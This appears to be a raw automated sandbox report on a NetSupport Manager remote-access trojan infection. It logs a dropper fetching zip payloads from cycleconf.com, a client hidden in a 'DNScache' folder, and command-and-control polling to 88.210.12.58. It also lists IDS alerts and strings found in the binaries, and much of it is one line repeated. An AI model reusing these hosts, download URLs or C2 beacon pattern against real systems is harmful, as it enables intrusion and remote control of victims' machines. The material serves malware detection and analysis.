Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785

Source: global traffic

TCP traffic: 192.168.2.6:49737 -> 88.210.12.58:3785

Source: global traffic	HTTP traffic detected: GET /dwnld/1st2_1.zip HTTP/1.1Host: cycleconf.com
Source: global traffic	HTTP traffic detected: GET /dwnld/1st2_2.zip HTTP/1.1Host: cycleconf.com
Source: global traffic	HTTP traffic detected: GET /dwnld/1st2_3.zip HTTP/1.1Host: cycleconf.com
Source: global traffic	HTTP traffic detected: GET /dwnld/1st2_4.zip HTTP/1.1Host: cycleconf.com
Source: global traffic	HTTP traffic detected: GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View

IP Address: 104.26.1.231 104.26.1.231

Source: Joe Sandbox View

ASN Name: CITYLAN-ASRU CITYLAN-ASRU

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49709 -> 23.254.224.41:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49707 -> 23.254.224.41:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49712 -> 23.254.224.41:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49723 -> 23.254.224.41:443

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe

Code function: 2_2_00D025B0 GetProcessHeap,InternetOpenW,InternetOpenUrlW,GetProcessHeap,InternetReadFile,GetProcessHeap,RtlAllocateHeap,GetProcessHeap,RtlReAllocateHeap,GetProcessHeap,RtlAllocateHeap,GetProcessHeap,RtlFreeHeap,InternetCloseHandle,InternetCloseHandle,

2_2_00D025B0

Source: global traffic	HTTP traffic detected: GET /dwnld/1st2_1.zip HTTP/1.1Host: cycleconf.com
Source: global traffic	HTTP traffic detected: GET /dwnld/1st2_2.zip HTTP/1.1Host: cycleconf.com
Source: global traffic	HTTP traffic detected: GET /dwnld/1st2_3.zip HTTP/1.1Host: cycleconf.com
Source: global traffic	HTTP traffic detected: GET /dwnld/1st2_4.zip HTTP/1.1Host: cycleconf.com
Source: global traffic	HTTP traffic detected: GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: cycleconf.com
Source: global traffic	DNS traffic detected: DNS query: ganeres1.com
Source: global traffic	DNS traffic detected: DNS query: geo.netsupportsoftware.com

Source: unknown

HTTP traffic detected: POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 88.210.12.58Connection: Keep-AliveCMD=POLLINFO=1ACK=1Data Raw: Data Ascii:

Source: client32.exe, client32.exe, 00000007.00000002.4615887616.000000006C510000.00000002.00000001.01000000.0000000D.sdmp, HTCTL32.DLL.2.dr	String found in binary or memory: http://%s/fakeurl.htm
Source: client32.exe, client32.exe, 00000007.00000002.4615887616.000000006C510000.00000002.00000001.01000000.0000000D.sdmp, HTCTL32.DLL.2.dr	String found in binary or memory: http://%s/testpage.htm
Source: client32.exe, 00000007.00000002.4615887616.000000006C510000.00000002.00000001.01000000.0000000D.sdmp, HTCTL32.DLL.2.dr	String found in binary or memory: http://%s/testpage.htmwininet.dll
Source: client32.exe, client32.exe, 00000009.00000002.2300141192.000000001118F000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.2.dr	String found in binary or memory: http://127.0.0.1
Source: client32.exe, 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000009.00000002.2300141192.000000001118F000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.2.dr	String found in binary or memory: http://127.0.0.1RESUMEPRINTING
Source: client32.exe, 00000007.00000002.4605879017.00000000005F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://88.210.12.58/fakeurl.htm
Source: TCCTL32.DLL.2.dr	String found in binary or memory: http://crl.globalsign.com/gs/gscodesigng2.crl0P
Source: remcmdstub.exe.2.dr	String found in binary or memory: http://crl.globalsign.com/gs/gscodesignsha2g2.crl0
Source: client32.exe.2.dr	String found in binary or memory: http://crl.globalsign.net/ObjectSign.crl0
Source: client32.exe.2.dr	String found in binary or memory: http://crl.globalsign.net/Root.crl0
Source: client32.exe.2.dr	String found in binary or memory: http://crl.globalsign.net/primobject.crl0N
Source: remcmdstub.exe.2.dr	String found in binary or memory: http://crl.globalsign.net/root-r3.crl0
Source: TCCTL32.DLL.2.dr	String found in binary or memory: http://crl.globalsign.net/root.crl0
Source: 1stovl.exe, 00000002.00000002.2287672288.00000000014B8000.00000004.00000020.00020000.00000000.sdmp, 1stovl.exe, 00000002.00000003.2251872309.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microso
Source: 1stovl.exe, 00000002.00000002.2287672288.00000000014B8000.00000004.00000020.00020000.00000000.sdmp, TCCTL32.DLL.2.dr, PCICL32.DLL.2.dr	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: client32.exe, client32.exe, 00000009.00000002.2300141192.000000001118F000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.2.dr	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.asp
Source: client32.exe, 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000009.00000002.2300141192.000000001118F000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.2.dr	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.aspSetChannel(%s)
Source: 1stovl.exe, 00000002.00000002.2287672288.00000000014B8000.00000004.00000020.00020000.00000000.sdmp, TCCTL32.DLL.2.dr, PCICL32.DLL.2.dr	String found in binary or memory: http://ocsp.thawte.com0
Source: remcmdstub.exe.2.dr	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g20
Source: 1stovl.exe, 00000002.00000002.2287672288.000000000150D000.00000004.00000020.00020000.00000000.sdmp, 1stovl.exe, 00000002.00000002.2287672288.000000000152E000.00000004.00000020.00020000.00000000.sdmp, AudioCapture.dll.2.dr, PCICHEK.DLL.2.dr, HTCTL32.DLL.2.dr, pcicapi.dll.2.dr	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: 1stovl.exe, 00000002.00000002.2287672288.000000000150D000.00000004.00000020.00020000.00000000.sdmp, 1stovl.exe, 00000002.00000002.2287672288.000000000152E000.00000004.00000020.00020000.00000000.sdmp, AudioCapture.dll.2.dr, PCICHEK.DLL.2.dr, HTCTL32.DLL.2.dr, pcicapi.dll.2.dr	String found in binary or memory: http://s2.symcb.com0
Source: TCCTL32.DLL.2.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesigng2.crt0
Source: remcmdstub.exe.2.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g2.crt08
Source: client32.exe.2.dr	String found in binary or memory: http://secure.globalsign.net/cacert/ObjectSign.crt09
Source: client32.exe.2.dr	String found in binary or memory: http://secure.globalsign.net/cacert/PrimObject.crt0
Source: 1stovl.exe, 00000002.00000002.2287672288.00000000014B8000.00000004.00000020.00020000.00000000.sdmp, PCICL32.DLL.2.dr	String found in binary or memory: http://sf.symcb.com/sf.crl0f
Source: 1stovl.exe, 00000002.00000002.2287672288.00000000014B8000.00000004.00000020.00020000.00000000.sdmp, PCICL32.DLL.2.dr	String found in binary or memory: http://sf.symcb.com/sf.crt0
Source: 1stovl.exe, 00000002.00000002.2287672288.00000000014B8000.00000004.00000020.00020000.00000000.sdmp, PCICL32.DLL.2.dr	String found in binary or memory: http://sf.symcd.com0&
Source: 1stovl.exe, 00000002.00000002.2287672288.000000000150D000.00000004.00000020.00020000.00000000.sdmp, 1stovl.exe, 00000002.00000002.2287672288.000000000152E000.00000004.00000020.00020000.00000000.sdmp, AudioCapture.dll.2.dr, PCICHEK.DLL.2.dr, HTCTL32.DLL.2.dr, pcicapi.dll.2.dr	String found in binary or memory: http://sv.symcb.com/sv.crl0f
Source: 1stovl.exe, 00000002.00000002.2287672288.000000000150D000.00000004.00000020.00020000.00000000.sdmp, 1stovl.exe, 00000002.00000002.2287672288.000000000152E000.00000004.00000020.00020000.00000000.sdmp, AudioCapture.dll.2.dr, PCICHEK.DLL.2.dr, HTCTL32.DLL.2.dr, pcicapi.dll.2.dr	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: 1stovl.exe, 00000002.00000002.2287672288.000000000150D000.00000004.00000020.00020000.00000000.sdmp, 1stovl.exe, 00000002.00000002.2287672288.000000000152E000.00000004.00000020.00020000.00000000.sdmp, AudioCapture.dll.2.dr, PCICHEK.DLL.2.dr, HTCTL32.DLL.2.dr, pcicapi.dll.2.dr	String found in binary or memory: http://sv.symcd.com0&
Source: 1stovl.exe, 00000002.00000002.2287672288.00000000014B8000.00000004.00000020.00020000.00000000.sdmp, TCCTL32.DLL.2.dr, PCICL32.DLL.2.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: 1stovl.exe, 00000002.00000002.2287672288.00000000014B8000.00000004.00000020.00020000.00000000.sdmp, TCCTL32.DLL.2.dr, PCICL32.DLL.2.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: 1stovl.exe, 00000002.00000002.2287672288.00000000014B8000.00000004.00000020.00020000.00000000.sdmp, TCCTL32.DLL.2.dr, PCICL32.DLL.2.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: TCCTL32.DLL.2.dr, client32.exe.2.dr	String found in binary or memory: http://www.crossteccorp.com
Source: client32.exe.2.dr	String found in binary or memory: http://www.globalsign.net/repository/0
Source: client32.exe.2.dr	String found in binary or memory: http://www.globalsign.net/repository09
Source: client32.exe, 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 00000009.00000002.2300236676.00000000111DC000.00000004.00000001.01000000.00000009.sdmp, PCICL32.DLL.2.dr	String found in binary or memory: http://www.netsupportschool.com/tutor-assistant.asp
Source: client32.exe, 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 00000009.00000002.2300236676.00000000111DC000.00000004.00000001.01000000.00000009.sdmp, PCICL32.DLL.2.dr	String found in binary or memory: http://www.netsupportschool.com/tutor-assistant.asp11(
Source: 1stovl.exe, 00000002.00000002.2287672288.00000000014B8000.00000004.00000020.00020000.00000000.sdmp, PCICL32.DLL.2.dr	String found in binary or memory: http://www.netsupportsoftware.com
Source: client32.exe, 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 00000009.00000002.2300236676.00000000111DC000.00000004.00000001.01000000.00000009.sdmp, PCICL32.DLL.2.dr	String found in binary or memory: http://www.pci.co.uk/support
Source: client32.exe, 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 00000009.00000002.2300236676.00000000111DC000.00000004.00000001.01000000.00000009.sdmp, PCICL32.DLL.2.dr	String found in binary or memory: http://www.pci.co.uk/supportsupport
Source: 1stovl.exe, 00000002.00000002.2287672288.000000000150D000.00000004.00000020.00020000.00000000.sdmp, 1stovl.exe, 00000002.00000002.2287672288.000000000152E000.00000004.00000020.00020000.00000000.sdmp, AudioCapture.dll.2.dr, PCICHEK.DLL.2.dr, HTCTL32.DLL.2.dr, pcicapi.dll.2.dr	String found in binary or memory: http://www.symauth.com/cps0(
Source: 1stovl.exe, 00000002.00000002.2287672288.000000000150D000.00000004.00000020.00020000.00000000.sdmp, 1stovl.exe, 00000002.00000002.2287672288.000000000152E000.00000004.00000020.00020000.00000000.sdmp, AudioCapture.dll.2.dr, PCICHEK.DLL.2.dr, HTCTL32.DLL.2.dr, pcicapi.dll.2.dr	String found in binary or memory: http://www.symauth.com/rpa00
Source: 1stovl.exe, 00000002.00000002.2287672288.0000000001492000.00000004.00000020.00020000.00000000.sdmp, 1stovl.exe, 00000002.00000003.2251872309.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cycleconf.com/
Source: 1stovl.exe, 00000002.00000003.2251872309.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cycleconf.com/E
Source: 1stovl.exe, 00000002.00000003.2205698170.00000000014CD000.00000004.00000020.00020000.00000000.sdmp, 1stovl.exe, 00000002.00000003.2251872309.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cycleconf.com/N
Source: 1stovl.exe, 00000002.00000002.2287672288.0000000001492000.00000004.00000020.00020000.00000000.sdmp, 1stovl.exe, 00000002.00000003.2205698170.00000000014CD000.00000004.00000020.00020000.00000000.sdmp, 1stovl.exe, 00000002.00000002.2287672288.000000000144E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cycleconf.com/dwnld/1st2_1.zip
Source: 1stovl.exe, 00000002.00000002.2287672288.000000000144E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cycleconf.com/dwnld/1st2_1.zipLhttps://cycleconf.com/dwnld/1st2_2.zipLhttps://cycleconf.com/
Source: 1stovl.exe, 00000002.00000003.2205698170.00000000014CD000.00000004.00000020.00020000.00000000.sdmp, 1stovl.exe, 00000002.00000003.2251872309.00000000014CD000.00000004.00000020.00020000.00000000.sdmp, 1stovl.exe, 00000002.00000002.2287672288.000000000144E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cycleconf.com/dwnld/1st2_2.zip
Source: 1stovl.exe, 00000002.00000003.2205698170.00000000014CD000.00000004.00000020.00020000.00000000.sdmp, 1stovl.exe, 00000002.00000003.2251872309.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cycleconf.com/dwnld/1st2_2.zip#
Source: 1stovl.exe, 00000002.00000003.2205698170.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cycleconf.com/dwnld/1st2_2.zip;
Source: 1stovl.exe, 00000002.00000003.2205698170.00000000014CD000.00000004.00000020.00020000.00000000.sdmp, 1stovl.exe, 00000002.00000003.2251872309.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cycleconf.com/dwnld/1st2_2.zipP
Source: 1stovl.exe, 00000002.00000003.2205698170.00000000014CD000.00000004.00000020.00020000.00000000.sdmp, 1stovl.exe, 00000002.00000002.2287672288.00000000014B8000.00000004.00000020.00020000.00000000.sdmp, 1stovl.exe, 00000002.00000003.2251872309.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cycleconf.com/dwnld/1st2_2.zipm
Source: 1stovl.exe, 00000002.00000003.2205698170.00000000014CD000.00000004.00000020.00020000.00000000.sdmp, 1stovl.exe, 00000002.00000002.2287672288.00000000014B8000.00000004.00000020.00020000.00000000.sdmp, 1stovl.exe, 00000002.00000003.2251872309.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cycleconf.com/dwnld/1st2_2.zipr
Source: 1stovl.exe, 00000002.00000002.2287672288.00000000014B8000.00000004.00000020.00020000.00000000.sdmp, 1stovl.exe, 00000002.00000003.2251872309.00000000014CD000.00000004.00000020.00020000.00000000.sdmp, 1stovl.exe, 00000002.00000002.2287672288.000000000144E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cycleconf.com/dwnld/1st2_3.zip
Source: 1stovl.exe, 00000002.00000003.2251872309.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cycleconf.com/dwnld/1st2_3.zip0
Source: 1stovl.exe, 00000002.00000002.2287672288.00000000014B8000.00000004.00000020.00020000.00000000.sdmp, 1stovl.exe, 00000002.00000003.2251872309.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cycleconf.com/dwnld/1st2_3.zip4
Source: 1stovl.exe, 00000002.00000003.2251872309.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cycleconf.com/dwnld/1st2_3.zipA
Source: 1stovl.exe, 00000002.00000003.2251872309.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cycleconf.com/dwnld/1st2_3.zipG
Source: 1stovl.exe, 00000002.00000003.2251872309.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cycleconf.com/dwnld/1st2_3.zipI
Source: 1stovl.exe, 00000002.00000003.2251872309.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cycleconf.com/dwnld/1st2_3.zipe
Source: 1stovl.exe, 00000002.00000003.2251872309.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cycleconf.com/dwnld/1st2_3.zipm
Source: 1stovl.exe, 00000002.00000002.2287672288.00000000014B8000.00000004.00000020.00020000.00000000.sdmp, 1stovl.exe, 00000002.00000002.2287672288.000000000144E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cycleconf.com/dwnld/1st2_4.zip
Source: 1stovl.exe, 00000002.00000002.2287672288.000000000150D000.00000004.00000020.00020000.00000000.sdmp, 1stovl.exe, 00000002.00000002.2287672288.000000000152E000.00000004.00000020.00020000.00000000.sdmp, 1stovl.exe, 00000002.00000002.2287672288.00000000014B8000.00000004.00000020.00020000.00000000.sdmp, AudioCapture.dll.2.dr, PCICHEK.DLL.2.dr, HTCTL32.DLL.2.dr, pcicapi.dll.2.dr, PCICL32.DLL.2.dr	String found in binary or memory: https://d.symcb.com/cps0%
Source: 1stovl.exe, 00000002.00000002.2287672288.000000000150D000.00000004.00000020.00020000.00000000.sdmp, 1stovl.exe, 00000002.00000002.2287672288.000000000152E000.00000004.00000020.00020000.00000000.sdmp, 1stovl.exe, 00000002.00000002.2287672288.00000000014B8000.00000004.00000020.00020000.00000000.sdmp, AudioCapture.dll.2.dr, PCICHEK.DLL.2.dr, HTCTL32.DLL.2.dr, pcicapi.dll.2.dr, PCICL32.DLL.2.dr	String found in binary or memory: https://d.symcb.com/rpa0
Source: TCCTL32.DLL.2.dr, remcmdstub.exe.2.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: TCCTL32.DLL.2.dr	String found in binary or memory: https://www.globalsign.com/repository/03
Source: remcmdstub.exe.2.dr	String found in binary or memory: https://www.globalsign.com/repository/06

Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Source: unknown

HTTPS traffic detected: 23.254.224.41:443 -> 192.168.2.6:49707 version: TLS 1.2

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

Code function: 7_2_1101F350 OpenClipboard,GlobalAlloc,GlobalLock,_memmove,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,MessageBeep,CloseClipboard,

7_2_1101F350

Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1101F350 OpenClipboard,GlobalAlloc,GlobalLock,_memmove,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,MessageBeep,CloseClipboard,	7_2_1101F350
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_11032870 GetClipboardFormatNameA,SetClipboardData,	7_2_11032870
